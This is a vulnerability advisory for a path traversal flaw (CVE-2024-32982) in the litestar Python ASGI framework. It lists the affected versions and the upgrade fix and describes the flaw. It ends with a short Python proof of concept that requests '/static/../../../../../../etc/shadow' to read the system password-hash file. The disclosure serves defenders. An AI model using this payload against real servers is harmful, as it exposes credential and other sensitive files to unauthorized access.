Path Traversal Affecting litestar package, versions [2.0.0,2.6.4) [2.7.0,2.7.2) [2.8.0,2.8.3)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-LITESTAR-6810222
- published 7 May 2024
- disclosed 6 May 2024
- credit Brian Edgar Ré
Introduced: 6 May 2024
CVE-2024-32982 Open this link in a new tabHow to fix?
Upgrade litestar
to version 2.6.4, 2.7.2, 2.8.3 or higher.
Overview
litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework
Affected versions of this package are vulnerable to Path Traversal through the static content serving function. An attacker can gain unauthorized access to sensitive files outside the designated directories by exploiting path traversal flaws in the file path handling mechanism.
Notes:
From versions 0.X.X through 1.X.X, the package was released under the name "starlite."
Starting with version 2.0.0 and for all subsequent versions, the package has been rebranded and released under the name "litestar."
PoC
import http.client
def send_request(host, port, path):
connection = http.client.HTTPConnection(host, port)
connection.request("GET", path)
response = connection.getresponse()
print(f"Status: {response.status}")
print(f"Headers: {response.getheaders()}")
data = response.read()
print(f"Body: {data.decode('utf-8')}")
connection.close()
send_request("localhost", 8000, "/static/../../../../../../etc/shadow")